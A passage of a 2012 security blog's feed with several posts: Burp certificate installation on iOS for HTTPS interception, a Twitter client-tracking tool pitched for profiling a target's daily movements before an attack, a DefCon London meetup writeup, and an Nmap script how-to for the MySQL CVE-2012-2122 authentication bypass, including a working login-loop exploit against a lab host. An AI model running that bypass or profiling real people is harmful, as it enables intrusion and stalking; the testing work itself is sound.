<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/certificate_status/" rel="attachment wp-att-428"><img class="alignnone size-medium wp-image-428" title="certificate_status" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/certificate_status-300x234.png" alt="" width="300" height="234" /></a></p>
<p>What we need to do is view the certificate chain. Click on View and you&#8217;ll be presented with the General tab of the Certificate Status window:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/cert_general_tab/" rel="attachment wp-att-427"><img class="alignnone size-medium wp-image-427" title="cert_general_tab" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/cert_general_tab-286x300.png" alt="" width="286" height="300" /></a></p>
<p>Click on Details and highlight the top most certificate in the list. <strong>This is important</strong>, we need the top of the chain. The cert will be called <strong>PortSwigger CA</strong>:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/cert_details_ca_highlighted/" rel="attachment wp-att-425"><img class="alignnone size-medium wp-image-425" title="cert_details_ca_highlighted" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/cert_details_ca_highlighted-287x300.png" alt="" width="287" height="300" /></a></p>
<p>With the top-most certificate in the hierarchy highlighted click on Export. You will be presented with a Save Certificate To File box. Save the file wherever suits, I put mine on the Desktop but make sure you add a <strong>.crt</strong> suffix to the filename. This will be important for the iOS device later to recognise what to do with it.</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/save_to_crt/" rel="attachment wp-att-431"><img class="alignnone size-medium wp-image-431" title="save_to_crt" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/save_to_crt-300x236.png" alt="" width="300" height="236" /></a></p>
<p>With the file saved we now need to get the cert onto the iOS device. There&#8217;s a gazillion ways to do this but the simplest is just to email it to an account you can access from that device. I&#8217;m sure you don&#8217;t really need a how to on emailing an attachment but, for completeness, here goes:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/right_click_email/" rel="attachment wp-att-430"><img class="size-medium wp-image-430 alignleft" title="right_click_email" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/right_click_email-265x300.png" alt="" width="265" height="300" /></a></p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/email/" rel="attachment wp-att-429"><img class="size-medium wp-image-429 alignnone" title="email" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/email-300x191.png" alt="" width="300" height="191" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Now we move over to the target iOS device. In my case it&#8217;s an iPad but the instructions are the same for an iPhone&#8230;.or an iPod Touch (or whatever they&#8217;re called these days). First open the email and click on the attachment:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/burp_ipad_email-2/" rel="attachment wp-att-454"><img class="alignnone size-medium wp-image-454" title="burp_ipad_email" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/burp_ipad_email1-253x300.png" alt="" width="253" height="300" /></a></p>
<p><img class="alignnone size-medium wp-image-452" title="install_profile_untrusted" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/install_profile_untrusted1-259x300.png" alt="" width="259" height="300" /></p>
<p>Click on Install to begin the import process:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/install_to_profile/" rel="attachment wp-att-438"><img class="alignnone size-medium wp-image-438" title="install_to_profile" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/install_to_profile-263x300.png" alt="" width="263" height="300" /></a></p>
<p>Click Install in the top right corner and you will (likely) be prompted for a passcode or password:</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/enter_passcode/" rel="attachment wp-att-435"><img class="alignnone size-medium wp-image-435" title="enter_passcode" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/enter_passcode-260x300.png" alt="" width="260" height="300" /></a></p>
<p>Put in 1234 (that is your passcode right?) or whatever your passcode is.</p>
<p><a href="http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/imported_successfully/" rel="attachment wp-att-436"><img class="alignnone size-medium wp-image-436" title="imported_successfully" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/imported_successfully-260x300.png" alt="" width="260" height="300" /></a></p>
<p>And that&#8217;s it. Your shiny iDevice&#8217;s HTTPS traffic can now be intercepted using Burp. Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/27/how-to-add-burp-ca-certificate-to-ipad-or-iphone/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Twittrack: tracking Twitter users by their client</title>
		<link>http://offensivecoder.com/2012/06/21/twittrack-tracking-users-by-their-cli/</link>
		<comments>http://offensivecoder.com/2012/06/21/twittrack-tracking-users-by-their-cli/#comments</comments>
		<pubDate>Thu, 21 Jun 2012 01:48:04 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=419</guid>
		<description><![CDATA[This is a really quick post until I get some more time to look at it. Earlier I was thinking about my average day on Twitter and which devices I use to access it. Typically I use my iPad or<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/21/twittrack-tracking-users-by-their-cli/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p>This is a really quick post until I get some more time to look at it.</p>
<p>Earlier I was thinking about my average day on Twitter and which devices I use to access it. Typically I use my iPad or my work PC and a browser to access Twitter during the working day. When I&#8217;m away from my desk or have stopped working I&#8217;m probably on my iPhone or my Mac.</p>
<p>I was thinking you could probably begin to build a nice profile of a user&#8217;s movements just by tracking their client usage. It won&#8217;t tell you exactly where they are but it will give you an indication of what they are doing.</p>
<p>For example, you see tweets all day from &#8220;Web&#8221;, which for arguments sake you know is a PC you want to target. You know from profiling the user that around 5pm they will start tweeting from a mobile device meaning they&#8217;ve left the office. Depending on your attack &#8211; ie, client interaction required or not &#8211; you can start to decide when you are going to launch it.</p>
<p>I chucked together some really quick ruby which will query for the last 200 tweets of a specified user and store the details in a sqlite3 database. It checks to see if it already has tweets for the user specified and adjusts its Twitter API call to retrieve only tweets since that one. This means you shouldn&#8217;t end up with duplicate data but, it&#8217;s alpha software so you might.</p>
<p>The program is called Twittrack and you can clone it from my <a href="https://github.com/offensivecoder/twittrack" target="_blank">Github repository</a> now and have a play. You will need to create an application at <a href="http://dev.twitter.com" target="_blank">dev.twitter.com</a> in order to create OAuth credentials to access the Twitter REST API.</p>
<p>Edit these in the twittrack script in the section where it says:</p>
<blockquote><p># configure our Twitter client<br />
Twitter.configure do |config|<br />
config.consumer_key = &#8221;<br />
config.consumer_secret = &#8221;<br />
config.oauth_token = &#8221;<br />
config.oauth_token_secret = &#8221;<br />
end</p></blockquote>
<p>Once you&#8217;ve done this, you&#8217;ll need a few gems:</p>
<blockquote><p>gem install twitter data_mapper sqlite3 dm-sqlite-adapter</p></blockquote>
<p>I had a couple of issues with multi_json conflicts which I resolved by editing the specifications file for the dm-serializer and dm-types gems in $GEM_PATH. YMMV, <a href="https://twitter.com/marcwickenden" target="_blank">ping me</a> if you can&#8217;t figure it out.</p>
<p>Now you can go ahead and initialise the database:</p>
<blockquote><p>$ ./twittrack &#8211;setup<br />
I, [2012-06-21T02:32:39.705084 #29652] INFO &#8212; : Resetting database</p></blockquote>
<p>Then just run the script again with the username you wish to monitor. It will retrieve the last 200 tweets. You might get a few exceptions raised, I haven&#8217;t got around to error handling yet (it is 02:30).</p>
<blockquote><p>$ ./twittrack marcwickenden<br />
since_id is not set<br />
./twittrack:98:in `block in <;main>;&#8217;: undefined method `text&#8217; for nil:NilClass (NoMethodError)<br />
from ./twittrack:96:in `each&#8217;<br />
from ./twittrack:96:in `<;main>;&#8217;</p></blockquote>
<p>No fancy front-end for this yet but you can do a simple query of the database. I will put some breaks in for comments below:</p>
<blockquote><p>$ sqlite3 db/twittrack.db<br />
SQLite version 3.7.7 2011-06-25 16:35:41<br />
Enter &#8220;.help&#8221; for instructions<br />
Enter SQL statements terminated with a &#8220;;&#8221;<br />
sqlite>; select created_at, source from tweets where screen_name = &#8216;marcwickenden&#8217;;</p>
<p>2012-06-20T23:58:57+01:00|Twitter for Mac<br />
2012-06-20T23:24:47+01:00|Twitter for Mac <;- sitting down at my Mac around 23:24 - about to start coding this <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
2012-06-20T23:15:52+01:00|Tweetbot for iOS<br />
2012-06-20T23:08:42+01:00|Tweetbot for iOS<br />
2012-06-20T23:08:08+01:00|Tweetbot for iOS<br />
2012-06-20T22:35:58+01:00|Tweetbot for iOS<br />
2012-06-20T22:28:21+01:00|Tweetbot for iOS<br />
2012-06-20T22:26:53+01:00|Tweetbot for iOS<br />
2012-06-20T22:22:36+01:00|Tweetbot for iOS<br />
2012-06-20T22:18:39+01:00|Tweetbot for iOS<br />
2012-06-20T22:16:24+01:00|Tweetbot for iOS<br />
2012-06-20T22:11:20+01:00|Tweetbot for iOS<br />
2012-06-20T18:34:26+01:00|Tweetbot for iOS<br />
2012-06-20T18:32:40+01:00|Tweetbot for iOS<br />
2012-06-20T18:31:26+01:00|Tweetbot for iOS<br />
2012-06-20T18:27:49+01:00|Tweetbot for iOS<br />
2012-06-20T18:16:36+01:00|Tweetbot for iOS <;- no tweets all afternoon, busy, busy. Now back on iPhone<br />
2012-06-20T12:42:24+01:00|Twitter for iPad<br />
2012-06-20T12:41:26+01:00|Twitter for iPad<br />
2012-06-20T12:25:54+01:00|Tweetbot for iOS <;- on iPhone. Making some lunch maybe at 12:25?<br />
2012-06-20T12:20:14+01:00|Twitter for iPad<br />
2012-06-20T12:17:39+01:00|Twitter for iPad<br />
2012-06-20T11:51:24+01:00|Twitter for iPad<br />
2012-06-20T11:23:19+01:00|Twitter for iPad<br />
2012-06-20T11:22:25+01:00|Twitter for iPad <;- now onto the iPad. Must have been working for a few hours<br />
2012-06-20T07:10:48+01:00|Tweetbot for iOS <;- on the iPhone at 07:10. Just got up?<br />
2012-06-20T00:16:44+01:00|Twitter for Mac <;- first tweet on 20th just after midnight on Mac. Late night.</p>
<p>The end of 19th June<br />
2012-06-19T23:23:51+01:00|Tweetbot for iOS<br />
2012-06-19T23:22:38+01:00|Tweetbot for iOS<br />
2012-06-19T22:29:19+01:00|Tweetbot for iOS<br />
2012-06-19T22:27:52+01:00|Tweetbot for iOS<br />
2012-06-19T22:21:41+01:00|Tweetbot for iOS<br />
2012-06-19T22:15:33+01:00|Tweetbot for iOS<br />
2012-06-19T22:13:21+01:00|Tweetbot for iOS<br />
2012-06-19T21:28:56+01:00|Tweetbot for iOS<br />
2012-06-19T20:19:54+01:00|Tweetbot for iOS<br />
2012-06-19T19:53:42+01:00|Tweetbot for iOS<br />
2012-06-19T18:53:27+01:00|Camera on iOS<br />
2012-06-19T18:43:26+01:00|Tweetbot for iOS<br />
2012-06-19T12:02:51+01:00|Tweetbot for iOS<br />
2012-06-19T11:59:51+01:00|Tweetbot for iOS<br />
2012-06-19T11:55:25+01:00|Twitter for iPad</p></blockquote>
<p>This was just a quick idea. Maybe it&#8217;s useful, maybe not but I think it&#8217;s interesting. Play around and see what data you can find.</p>
<p>UPDATE 13/7/12 The CLI tool was ok but a bit of a faff to get running so I wrote a web version of this app. You can check it out at <a href="http://twittrack.offensivecoder.com" target="_blank">twittrack.offensivecoder.com</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/21/twittrack-tracking-users-by-their-cli/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>DC4420: London Defcon chapter FTW!</title>
		<link>http://offensivecoder.com/2012/06/19/dc4420-london-defcon-chapter-ftw/</link>
		<comments>http://offensivecoder.com/2012/06/19/dc4420-london-defcon-chapter-ftw/#comments</comments>
		<pubDate>Tue, 19 Jun 2012 23:14:56 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cons]]></category>
		<category><![CDATA[DC4420]]></category>
		<category><![CDATA[meets]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=413</guid>
		<description><![CDATA[I just got back from my regular trip to the big smoke each month to attend the London Defcon chapter DC4420. I have such a good time each month that I thought I&#8217;d quickly write up my experience of it<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/19/dc4420-london-defcon-chapter-ftw/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p><a href="http://offensivecoder.com/2012/06/19/dc4420-london-defcon-chapter-ftw/dc4420_logo/" rel="attachment wp-att-414"><img class="alignnone size-full wp-image-414" title="dc4420_logo" src="http://offensivecoder.com/blog/wp-content/uploads/2012/06/dc4420_logo.png" alt="DC4420 logo" width="200" height="210" /></a></p>
<p>I just got back from my regular trip to the big smoke each month to attend the London Defcon chapter <a title="DC4420" href="http://dc4420.org" target="_blank">DC4420</a>. I have such a good time each month that I thought I&#8217;d quickly write up my experience of it and try and explain why, if you&#8217;re close enough, you really should attend.</p>
<p>I&#8217;ve been in Information Security for quite a while now but only in the past year and a half have I realised quite what a community of infosec peeps there are pretty much on my doorstep. I&#8217;d been looking around trying to find a bunch of hackers to hang out with and I&#8217;d seen DC4420 mentioned a few times but something stopped me going down.</p>
<p>If I&#8217;m honest I was expecting some sort of 2600 where I&#8217;d be made to feel like an outsider if I didn&#8217;t introduce myself in hex and have a Nokia N900 with some sort of custom Linux firmware. I&#8217;ve nothing against 2600&#8242;s, I desperately wish there was one I could attend nearby but they do have a reputation for being cliquey.</p>
<p>In 2011 <a title="B-Sides London" href="http://www.securitybsides.org.uk" target="_blank">Security B-Sides London</a> was created and hosted for the first time. I had fairly recently joined Twitter and picked up on this new conference. I was lucky enough to get a ticket and headed down. As luck would have it, the after-party was at DC4420 which was being hosted the same night. I went along and had such a blast talking to loads of infosec people I&#8217;d &#8220;met&#8221; on Twitter and read blogs by, etc. I felt strangely at home.</p>
<p>The B-Sides event was a bit of an unusual affair so I thought I&#8217;d head down again the next month to see what a normal meet was like.</p>
<p>DC4420 is hosted at <a title="The Phoenix, Cavendish Square, London" href="http://www.phoenixcavendishsquare.co.uk/" target="_blank">The Phoenix</a> pub in Cavendish Square, just off Oxford Street. The evening is hosted as a private function with exclusive use of the basement bar area. Doors open around 5:30pm with the bar available from 6pm. The food is great too. The place starts to busy up from 6-6:30pm usually. Dress code is&#8230;there is no dress code. Typically people are in hacker t-shirts as you&#8217;d expect but many people are heading straight from the office or client site and are still in a suit. Around 7pm <a href="https://twitter.com/rfidiot" target="_blank">Major Malfunction</a> and/or <a href="https://twitter.com/alien8" target="_blank">Alien</a> kick off proceedings with an introduction. The line goes something like:</p>
<p>The first rule of DC4420 is &#8211; you DO talk about DC4420.</p>
<p>The second rule of DC4420 is &#8211; you DO talk at DC4420.</p>
<p>There is a third rule I think about first timers having to speak but you get the point. Everyone is encouraged to speak to everyone else, say hi and generally mingle. To help the process along we go around the room and everyone is asked to shout out who they are and what interests them. Every month without fail someone says &#8220;I&#8217;m <em>name</em> and I&#8217;m an alcoholic&#8221; and every month everyone laughs and it&#8217;s all good. The idea is obviously to help with introductions but also people are often working on the same problems and sometimes little projects and collaborations spring out of these simple intros.</p>
<p>There is always some friendly banter during this section of the night and usually most people are a couple of beers in so things are loosening up nicely. After a short fifteen minute break the first talk is usually held around 7:30pm. Talks can be on any number of subjects and the DC4420 guys are always looking for talks so ping them at the website above if you&#8217;ve an idea. I&#8217;ve seen uber techie talks through to randomness through to fun stuff like hacking a car together for the annual charity trip to the continent (yeh, I forgot what it&#8217;s called &#8211; feel free to tell me and I&#8217;ll update).</p>
<p>Tonight <a href="https://twitter.com/zyx2k" target="_blank">Campbell Murray</a> gave a presentation about the recent MySQL authentication bypass. It was an interesting talk about a subject I <a href="http://offensivecoder.com/2012/06/12/nmap-nse-howto-mysql-auth-bypass/" target="_blank">recently blogged on</a> in my attempts to write a first Nmap NSE script. I got a mention in his presentation for that so thank you! <img src='http://offensivecoder.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>There was a lot of audience participation and plenty of good comments and observations. One of the best things about DC4420 is how it mixes a technical audience with a more managerial one. Infosec is not a one tricky pony and while it&#8217;s true, the majority of attendees seem to be &#8220;penetration testers&#8221; there&#8217;s a good chunk of malware people, sysadmins along with less technical infosec people and recently, normally at least one journalist. Infosec really is the new buzz topic it seems.</p>
<p>We had input from C developers who couldn&#8217;t believe the bug existed in the first place through to admins who point out that putting a MySQL box on the Internet is probably not a good thing to do in the first place.</p>
<p>Some months there is also a fun talk after the main talk. There is always time in-between to charge your glass from the many real ales on tap and say hi to some new people. I usually hang around afterwards until around 9:45 and there&#8217;s always plenty of people still there at that point. It&#8217;s a five minute walk to Oxford Circus tube station and five minutes on the tube to Kings Cross so it&#8217;s pretty easy to get to, especially from the north of London.</p>
<p>So, in summary, DC4420 is a very social place, you get to meet lots of like-minded people, drink some good beer, eat some good food and listen to some interesting talks. The trip for me is just under an hour and a half each way and I think that is time well invested. If you weren&#8217;t sure whether to come along or not, what are you waiting for? I&#8217;ll see you there next month.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://offensivecoder.com/2012/06/19/dc4420-london-defcon-chapter-ftw/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nmap NSE Howto: MySQL Auth Bypass</title>
		<link>http://offensivecoder.com/2012/06/12/nmap-nse-howto-mysql-auth-bypass/</link>
		<comments>http://offensivecoder.com/2012/06/12/nmap-nse-howto-mysql-auth-bypass/#comments</comments>
		<pubDate>Tue, 12 Jun 2012 14:30:58 +0000</pubDate>
		<dc:creator>marc</dc:creator>
				<category><![CDATA[Networks]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[nse]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://offensivecoder.com/?p=387</guid>
		<description><![CDATA[A recently disclosed critical vulnerability in MySQL authentication on some platforms gave me just the excuse I needed to write my first Nmap NSE script. @jcran produced a metasploit module to find and exploit the MySQL bug so I thought I&#8217;d<span class="ellipsis">&#8230;</span><div class="read-more"><a href="http://offensivecoder.com/2012/06/12/nmap-nse-howto-mysql-auth-bypass/">Read more &#8250;</a></div><!-- end of .read-more -->]]></description>
				<content:encoded><![CDATA[<p>A <a href="http://seclists.org/oss-sec/2012/q2/493" target="_blank">recently disclosed</a> critical vulnerability in MySQL authentication on some platforms gave me just the excuse I needed to write my first <a href="http://nmap.org/book/nse.html" target="_blank">Nmap NSE</a> script. <a href="https://twitter.com/jcran" target="_blank">@jcran</a> produced a <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb" target="_blank">metasploit module</a> to find and exploit the MySQL bug so I thought I&#8217;d try and fill a gap in the Nmap world.</p>
<p>First thing I needed was a vulnerable host to scan. I didn&#8217;t have anything in my VM collection already so I took advantage of some Free Tier Amazon EC2 time and fired up a 64-bit Ubuntu 12.04 AMI. Specifically I fired up a micro instance of ami-e1e8d395 which is the suggested Ubuntu image on the wizard screen. I left everything as default and once it was running ssh&#8217;ed in.</p>
<p>MySQL isn&#8217;t installed by default on this image so I had to install it. Installing it is as simple as:</p>
<blockquote><p>sudo apt-get install myql-server</p></blockquote>
<p>I specifically didn&#8217;t run an apt-get update on this server before I installed MySQL just in case I ended up with a patched version. The version I&#8217;ve got is 5.5.22-0ubuntu, anything later and it&#8217;s probably fixed. I quickly verified it was vulnerable before proceeding:</p>
<blockquote><p>ubuntu@ip-10-227-118-34:~$ for i in `seq 1 1000`; do mysql -u root &#8211;password=cve-2012-2122 -h 127.0.0.1 2&gt;/dev/null; done<br />
Welcome to the MySQL monitor. Commands end with ; or \g.<br />
Your MySQL connection id is 424<br />
Server version: 5.5.22-0ubuntu1 (Ubuntu)</p>
<p>Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.</p>
<p>Oracle is a registered trademark of Oracle Corporation and/or its<br />
affiliates. Other names may be trademarks of their respective<br />
owners.</p>
<p>Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the current input statement.</p>
<p>mysql&gt;</p></blockquote>
<p>The first time you see this work you realise just how scary this bug is. I also can&#8217;t help but wonder how long bad people have known about it.</p>
<p>With a confirmed vulnerable installation I set about configuring it for remote access.</p>
<p>Edit /etc/mysql/my.cnf, find the line which says:</p>
<blockquote><p>bind-address            = 127.0.0.1</p></blockquote>
<p>and change it to:</p>
<blockquote><p>bind-address            = 0.0.0.0</p></blockquote>
<p>and restart MySQL:</p>
<blockquote><p>sudo /etc/init.d/mysql restart</p></blockquote>
<p>Ignore all the Ubuntu rubbish about using Upstart, yada-yada, whatever, init wasn&#8217;t broke but thanks for fixing it.</p>
<p>The next hurdle is that, by default, the root account is the only one and it is not authorised to connect from any host other than localhost. I don&#8217;t want to develop on the EC2 instance and I also want to verify it&#8217;ll work for hosts across a &#8220;proper network&#8221;. To solve this I created an empty database and a user with access to it from any IP address.</p>
<blockquote><p>mysql&gt; create database nsetest;</p>
<p>mysql&gt; grant all on nsetest.* to nse@&#8217;%&#8217; identitifed by &#8216;dodgypass&#8217;;</p></blockquote>
<p>The % in the above is the wildcard character meaning any host. Running our bash for loop from above against the remote database this time and using the <em>nse</em> user verified the vulnerability existed remotely.</p>
<blockquote><p># for i in `seq 1 1000`; do mysql -u nse &#8211;password=cve-2012-2122 -h ec2-46-137-134-79.eu-west-1.compute.amazonaws.com 2&gt;/dev/null; done<br />
Welcome to the MySQL monitor. Commands end with ; or \g.<br />
Your MySQL connection id is 401<br />
Server version: 5.5.22-0ubuntu1-log (Ubuntu)</p>
<p>Type &#8216;help;&#8217; or &#8216;\h&#8217; for help. Type &#8216;\c&#8217; to clear the current input statement.</p>
<p>mysql&gt;</p></blockquote>
<p>With the testing lab ready I turned my attention to writing the NSE script. As ever, the best place to start is with something you know works. On my BT5 VM I had a look in /usr/local/share/nmap/scripts to see what there was already for MySQL.</p>
<blockquote><p># ls -l /usr/local/share/nmap/scripts/mysql-*<br />
-rw-r&#8211;r&#8211; 1 root root 6099 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-audit.nse<br />
-rw-r&#8211;r&#8211; 1 root root 2268 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-brute.nse<br />
-rw-r&#8211;r&#8211; 1 root root 2895 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-databases.nse<br />
-rw-r&#8211;r&#8211; 1 root root 1799 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-empty-password.nse<br />
-rw-r&#8211;r&#8211; 1 root root 4855 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-info.nse<br />
-rw-r&#8211;r&#8211; 1 root root 2687 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-users.nse<br />
-rw-r&#8211;r&#8211; 1 root root 3100 2012-01-08 17:02 /usr/local/share/nmap/scripts/mysql-variables.nse</p></blockquote>
<p>I decided <em>mysql-empty-password.nse</em> was the closest to what I was trying to do so I made a copy in my ~/Development directory and started hacking away at it. The actual process of writing a LUA script is pretty hard to describe but what I&#8217;ll do now is break the script down into different sections and try and explain what is happening. As with all these sorts of things, there are standards involved (anyone who&#8217;s ever coded for <a href="http://metasploit.com" target="_blank">Metasploit</a> will know exactly what I&#8217;m talking about).</p>
<p>If you want to follow along at home, the entire script is in my Github repo at <a href="https://github.com/offensivecoder/nmap-nse-scripts/blob/master/mysql-auth-bypass.nse">https://github.com/offensivecoder/nmap-nse-scripts/blob/master/mysql-auth-bypass.nse</a>. The file starts with information about the script, its capabilities, author, output example and license:</p>
<div class="gistem"><div id="gist-2918069" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="n">description</span> <span class="o">=</span> <span class="s">[[</span></div><div class='line' id='LC2'><span class="s">Checks for MySQL servers vulnerable to the authentication bypass CVE-2012-2122 </span></div><div class='line' id='LC3'><span class="s">posted to http://seclists.org/oss-sec/2012/q2/493</span></div><div class='line' id='LC4'><span class="s">]]</span></div><div class='line' id='LC5'><br/></div><div class='line' id='LC6'><span class="c1">---</span></div><div class='line' id='LC7'><span class="c1">-- @output</span></div><div class='line' id='LC8'><span class="c1">-- 3306/tcp open  mysql</span></div><div class='line' id='LC9'><span class="c1">-- | mysql-auth-bypass: </span></div><div class='line' id='LC10'><span class="c1">-- |_  user root is vulnerable to auth bypass</span></div><div class='line' id='LC11'><br/></div><div class='line' id='LC12'><br/></div><div class='line' id='LC13'><span class="n">author</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="s">Marc Wickenden&quot;</span></div><div class='line' id='LC14'><span class="n">license</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="s">Same as Nmap--See http://nmap.org/book/man-legal.html&quot;</span></div><div class='line' id='LC15'><span class="n">categories</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&quot;</span><span class="s">intrusive&quot;</span><span class="p">,</span> <span class="s2">&quot;</span><span class="s">vulnerability&quot;</span><span class="p">}</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918069/71e987e47ceee02fda0686b5734afd73607ba6e8/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918069#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918069">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>Of the above probably the most important thing to get right is the <em>categories</em>. When you are running Nmap NSE scripts you can specify to run all scripts of a certain category. If you write a script like this which exploits a bug but you put it down as &#8216;safe&#8217; you&#8217;re inviting a whole world of trouble. A full list of categories is available at <a href="http://nmap.org/nsedoc/categories/">http://nmap.org/nsedoc/categories/</a>.</p>
<p>Next up are library imports. LUA, like most languages, allows the creation of library files in which to group common functions. I used the following:</p>
<div class="gistem"><div id="gist-2918072" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="nb">require</span> <span class="s1">&#39;</span><span class="s">shortport&#39;</span></div><div class='line' id='LC2'><span class="nb">require</span> <span class="s1">&#39;</span><span class="s">stdnse&#39;</span></div><div class='line' id='LC3'><span class="nb">require</span> <span class="s1">&#39;</span><span class="s">mysql&#39;</span></div><div class='line' id='LC4'><span class="nb">require</span> <span class="s1">&#39;</span><span class="s">unpwdb&#39;</span></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918072/6f8a4048b37dabcf694df9b855d3fd1afee48f40/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918072#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918072">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>From what I can tell, you&#8217;ll pretty much use <em><a href="http://nmap.org/nsedoc/lib/shortport.html" target="_blank">shortport</a></em> in every NSE script you&#8217;ll ever write. It provides common functions for managing network connections.</p>
<p><a href="http://nmap.org/nsedoc/lib/stdnse.html" target="_blank">stdnse</a> provides various handy and common functions including those which handle printing output.</p>
<p><a href="http://nmap.org/nsedoc/lib/mysql.html" target="_blank">mysql</a> provides simple MySQL functions like login and query execution.</p>
<p><a href="http://nmap.org/nsedoc/lib/unpwdb.html" target="_blank">unpwdb</a> is a really interesting library. Nmap NSE comes with a built in &#8216;database&#8217; of common usernames and passwords along with this set of functions to interact with it.</p>
<p>We then add version information as a comment. Comments in LUA are preceded with &#8212; (double dash).</p>
<div class="gistem"><div id="gist-2918081" class="gist">

        <div class="gist-file">
          <div class="gist-data gist-syntax">
              <div class="highlight"><pre><div class='line' id='LC1'><span class="c1">-- Version 0.1</span></div><div class='line' id='LC2'><span class="c1">-- Created 11/06/2012 - v0.1 - created by Marc Wickenden &lt;marc@offensivecoder.com&gt;, based on nse script by Patrik Karlsson</span></div><div class='line' id='LC3'><br/></div></pre></div>
          </div>

          <div class="gist-meta">
            <a href="https://gist.github.com/raw/2918081/b320d206f106cc394fe13714b8d0c72818ad0c06/gistfile1.lua" style="float:right;">view raw</a>
            <a href="https://gist.github.com/2918081#file_gistfile1.lua" style="float:right;margin-right:10px;color:#666">gistfile1.lua</a>
            <a href="https://gist.github.com/2918081">This Gist</a> is brought to you using <a href="http://en.bainternet.info/2011/simple-gist-embed"><small>Simple Gist Embed</small></a>.
          </div>
        </div>
</div>
</div>
<p>Each NSE script must contain one of the following four functions:</p>
<blockquote><p>prerule()<br />
hostrule(host)<br />
portrule(host, port)<br />
postrule()</p></blockquote>
